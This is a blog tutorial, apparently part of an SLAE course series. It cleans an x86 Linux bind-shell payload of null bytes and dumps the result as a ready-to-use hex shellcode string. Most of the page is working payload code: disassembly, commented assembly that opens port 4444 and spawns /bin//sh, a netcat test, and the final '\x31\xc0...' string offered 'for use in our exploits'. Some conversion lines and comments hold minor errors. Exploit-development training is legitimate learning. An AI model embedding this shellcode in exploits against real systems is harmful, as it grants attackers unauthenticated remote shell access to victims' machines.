part 3: cleaning and optimising shellcode

part 3: cleaning and optimising shellcode

In Part 2: Building the shellcode, we created a bind shell on port 4444 which accepts connections from any host and then interacts with “/bin/sh” to facilitate remote code execution. Our shellcode however was littered with null bytes and would probably not be very useful if embedding in any exploit code.

In this final part, we will clean our code and remove any null bytes from our shellcode. We will also look at removing unnecessary instruction to make our shellcode smaller if possible. Lets get started.

Step one, lets take a look at our shellcode using objdump:

1
objdump -D bindshell -M intel

 

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
bindshell:     file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
 8048080:   31 c0                   xor    eax,eax
 8048082:   31 db                   xor    ebx,ebx
 8048084:   b8 66 00 00 00          mov    eax,0x66
 8048089:   bb 01 00 00 00          mov    ebx,0x1
 804808e:   31 c9                   xor    ecx,ecx
 8048090:   51                      push   ecx
 8048091:   6a 01                   push   0x1
 8048093:   6a 02                   push   0x2
 8048095:   89 e1                   mov    ecx,esp
 8048097:   cd 80                   int    0x80
 8048099:   89 c2                   mov    edx,eax
 804809b:   31 c0                   xor    eax,eax
 804809d:   50                      push   eax
 804809e:   66 68 11 5c             pushw  0x5c11
 80480a2:   66 6a 02                pushw  0x2
 80480a5:   89 e1                   mov    ecx,esp
 80480a7:   6a 10                   push   0x10
 80480a9:   51                      push   ecx
 80480aa:   52                      push   edx
 80480ab:   31 c0                   xor    eax,eax
 80480ad:   31 db                   xor    ebx,ebx
 80480af:   b8 66 00 00 00          mov    eax,0x66
 80480b4:   bb 02 00 00 00          mov    ebx,0x2
 80480b9:   89 e1                   mov    ecx,esp
 80480bb:   cd 80                   int    0x80
 80480bd:   31 c0                   xor    eax,eax
 80480bf:   50                      push   eax
 80480c0:   52                      push   edx
 80480c1:   89 e1                   mov    ecx,esp
 80480c3:   b8 66 00 00 00          mov    eax,0x66
 80480c8:   31 db                   xor    ebx,ebx
 80480ca:   bb 04 00 00 00          mov    ebx,0x4
 80480cf:   cd 80                   int    0x80
 80480d1:   31 c0                   xor    eax,eax
 80480d3:   50                      push   eax
 80480d4:   50                      push   eax
 80480d5:   52                      push   edx
 80480d6:   89 e1                   mov    ecx,esp
 80480d8:   b8 66 00 00 00          mov    eax,0x66
 80480dd:   31 db                   xor    ebx,ebx
 80480df:   bb 05 00 00 00          mov    ebx,0x5
 80480e4:   cd 80                   int    0x80
 80480e6:   89 c2                   mov    edx,eax
 80480e8:   31 c0                   xor    eax,eax
 80480ea:   b8 3f 00 00 00          mov    eax,0x3f
 80480ef:   89 d3                   mov    ebx,edx
 80480f1:   31 c9                   xor    ecx,ecx
 80480f3:   cd 80                   int    0x80
 80480f5:   31 c0                   xor    eax,eax
 80480f7:   b8 3f 00 00 00          mov    eax,0x3f
 80480fc:   41                      inc    ecx
 80480fd:   cd 80                   int    0x80
 80480ff:   31 c0                   xor    eax,eax
 8048101:   b8 3f 00 00 00          mov    eax,0x3f
 8048106:   41                      inc    ecx
 8048107:   cd 80                   int    0x80
 8048109:   31 c9                   xor    ecx,ecx
 804810b:   51                      push   ecx
 804810c:   68 2f 2f 73 68          push   0x68732f2f
 8048111:   68 2f 62 69 6e          push   0x6e69622f
 8048116:   89 e3                   mov    ebx,esp
 8048118:   89 ca                   mov    edx,ecx
 804811a:   31 c0                   xor    eax,eax
 804811c:   b8 0b 00 00 00          mov    eax,0xb
 8048121:   cd 80                   int    0x80

From this we can see the problematic instructions:

01
02
03
04
05
06
07
08
09
10
11
12
8048084:   b8 66 00 00 00          mov    eax,0x66
8048089:   bb 01 00 00 00          mov    ebx,0x1
80480af:   b8 66 00 00 00          mov    eax,0x66
80480b4:   bb 02 00 00 00          mov    ebx,0x2
80480c3:   b8 66 00 00 00          mov    eax,0x66
80480ca:   bb 04 00 00 00          mov    ebx,0x4
80480d8:   b8 66 00 00 00          mov    eax,0x66
80480df:   bb 05 00 00 00          mov    ebx,0x5
80480ea:   b8 3f 00 00 00          mov    eax,0x3f
80480f7:   b8 3f 00 00 00          mov    eax,0x3f
8048101:   b8 3f 00 00 00          mov    eax,0x3f
804811c:   b8 0b 00 00 00          mov    eax,0xb

Lets break this down and tackle these one at a time. Firstly, we’ll deal with our eax syscall values:

1
b8 66 00 00 00          mov    eax,0x66

We can see that upon assembling, the compiler converted 102 to it’s hex value of 0x66. Seeing as this is a single byte, maybe we can write it to just al (the smallest byte of eax) instead of the whole eax register.

Metasploit has a great tool for this that can help you quickly find the values of assembly instructions called “metasm”.

Note: If you do not have Metasploit installed, please follow the installation instructions provided by Rapid7 or one of many great tutorials about installing Metasploit like this one from Carlos Perez (darkoperator).

1
/opt/metasploit-framework/tools/metasm_shell.rb

Test the following instructions and see which ones return results with no null bytes:

1
2
3
mov eax, 0x66
mov ax, 0x66
mov al, 0x66

If we look at these results, the only one that is going to work for us is “mov al, 0x66”

Repeat this procedure for all the mov eax, *** instructions:

1
2
3
mov eax, 120     =>  mov al, 0x66
mov eax, 63      =>  mov al, 0x3f
mov eax, 11      =>  mov al, 0xb

Update these lines with the updated instructions into your code.

We can use the same procedure for the ebx registers by changing it to the bl register.

1
2
3
4
mov ebx, 1       =>  mov bl, 0x1
mov ebx, 2       =>  mov bl, 0x2
mov ebx, 4       =>  mov bl, 0x4
mov ebx, 5       =>  mov bl, 0x5

Take a look at your new assembly code:

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
global _start          
section .text
_start:
        ; Start of our shellcode
        ; sys_socket (creating a socket for our connection)
        xor eax, eax       ; clear the value of eax
        xor ebx, ebx       ; clear the value of ebx
        mov al, 0x66       ; set eax to 102 (sys_socketcall)
        mov bl, 0x1        ; set ebx to 1 (sys_socket)
        xor ecx, ecx       ; clear the value of ecx
        push ecx           ; push a null onto the stack (IPPROTO_IP = 0)
        push 1             ; push a 1 to the stack (SOCK_STREAM = 1)
        push 2             ; push a 2 to the stack (AF_INET = 2)
        mov ecx, esp       ; push the location of our arguments into ecx
        int 0x80           ; call sys_socket
        mov edx, eax       ; save the returned value to edx (socket file descriptor)
        ; sys_bind (bind a port number to our socket)
        xor eax, eax       ; clear the value of eax
        push eax           ; push eax to the stack as it's null (INADDR_ANY = 0)
        push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
        push WORD 2        ; push protocol argument to the stack (AF_INET = 2)
        mov ecx, esp       ; mov value of esp into ecx, the location of our sockaddr arguments
        push 16            ; push addrlen to stack (addrlen = 16)
        push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)
        push edx           ; push edx (sockfd value stored in edx)
        xor eax, eax       ; clear value of eax
        xor ebx, ebx       ; clear value of ebx
        mov al, 0x66       ; move value of 102 into eax (sys_sockcall = 102)
        mov bl, 0x2        ; move value of 2 into eax (sys_bind = 2)
        mov ecx, esp       ; move the arguments into ecx
        int 0x80           ; call sys_bind
        ; sys_listen (listen on our created socket)
        xor eax, eax       ; clear value of eax
        push eax           ; push backlog argument to stack (backlog = 0)
        push edx           ; push the sockfd argument to stack (sockfd stored in edx)
        mov ecx, esp       ; store the location of our arguments into ecx
        mov al, 0x66       ; sets the value 102 which is the syscall number for sys_socketcall
        xor ebx, ebx       ; clear value of ebx to 0
        mov bl, 0x4        ; sets the value 4 which is the value for "listen" in sys_socketcall
        int 0x80           ; call sys_listen
        ; sys_accept (accept connections on our created port)
        xor eax, eax       ; clear value of eax
        push eax           ; push addrlen argument to stack (addrlen = 0)
        push eax           ; push addr argument to stack (addr = 0)
        push edx           ; push the sockfd argument to stack (sockfd stored in edx)
        mov ecx, esp       ; move the location of our arguments into ecx
        mov al, 0x66       ; sets the value 102 which is the syscall number for sys_socketcall
        xor ebx, ebx       ; clear value of ebx
        mov bl, 0x5        ; sets the value 5 which is the value for sys_accept
        int 0x80           ; call sys_accept
        mov edx, eax       ; save the return value from sys_accept to edx (client file descriptor)
        ; sys_dup2 (create file descriptors for stdin, stdout and stderr so we can see the responses from execve)
        xor eax, eax       ; clear value of eax
        mov al, 0x3f       ; sets the value 63 which is the syscall number for sys_dup2
        mov ebx, edx       ; move the stored oldfd argument to ebx (stored in edx)
        xor ecx, ecx       ; set ecx to 0 for stdin
        int 0x80           ; call sys_dup2
        xor eax, eax       ; clear value of eax
        mov al, 0x3f       ; sets the value 63 which is the syscall number for sys_dup2
        inc ecx            ; increment ecx to 1 for stdout
        int 0x80           ; call sys_dup2
        xor eax, eax       ; clear value of eax
        mov al, 0x3f       ; sets the value 63 which is the syscall number for sys_dup2
        inc ecx            ; increment ecx to 2 for stderr
        int 0x80           ; call sys_dup2
        ; sys_execve (execute /bin//sh upon connecting and pass the responses back to connector)
        xor ecx, ecx       ; clear value of ecx, args argument = 0
        push ecx           ; push a null to the stack to terminate our filename
        push 0x68732f2f    ; push //sh to the stack (second part of /bin//sh)
        push 0x6e69622f    ; push /bin to the stack (first part of /bin//sh
        mov ebx, esp       ; set ebx with the location of our file name on the stack
        mov edx, ecx       ; move null value for envp argument into edx
        xor eax, eax       ; clear value of eax
        mov al, 0xb        ; sets the value 11 which is the syscall number for sys_execve
        int 0x80           ; call sys_execve

Lets look at the shellcode in objdump if we have any null bytes:

1
objdump -D bindshell -M intel | grep 00

Great, lets check for other known bad characters such as \x0a and \x0d

1
2
objdump -D bindshell -M intel | grep 0a
objdump -D bindshell -M intel | grep 0d

Awesome, none of those are in our shell so lets test and see if it still works.

1
./bindshell
1
2
3
netstat -antp
nc -nv 127.0.0.1 4444
id

Our clean shell is still working.

Last step is to dump this for use in our exploits:

1
./getshell.sh bindshell
1
2
3
4
5
6
7
\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89
\xc2\x31\xc0\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\x31
\xdb\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3
\x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3\x05\xcd\x80\x89\xc2
\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0
\x3f\x41\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89
\xca\x31\xc0\xb0\x0b\xcd\x80

This concludes this training on shellcode writing in assembly. If you just follow the steps and do research, anything is possible. My goal when starting this post was to make shellcode less intimidating and if you feel that you have walked away after reading this with a better understanding of how shellcode interacts with the system then I am satisfied.

I hope to create more posts as I head further down this SLAE and I recommend that anyone who is in the information security field take the course and let Vivek turn you into a shellcode ninja.

Keep sploiting…

norsec0de

Bookmark the permalink.

Leave a Reply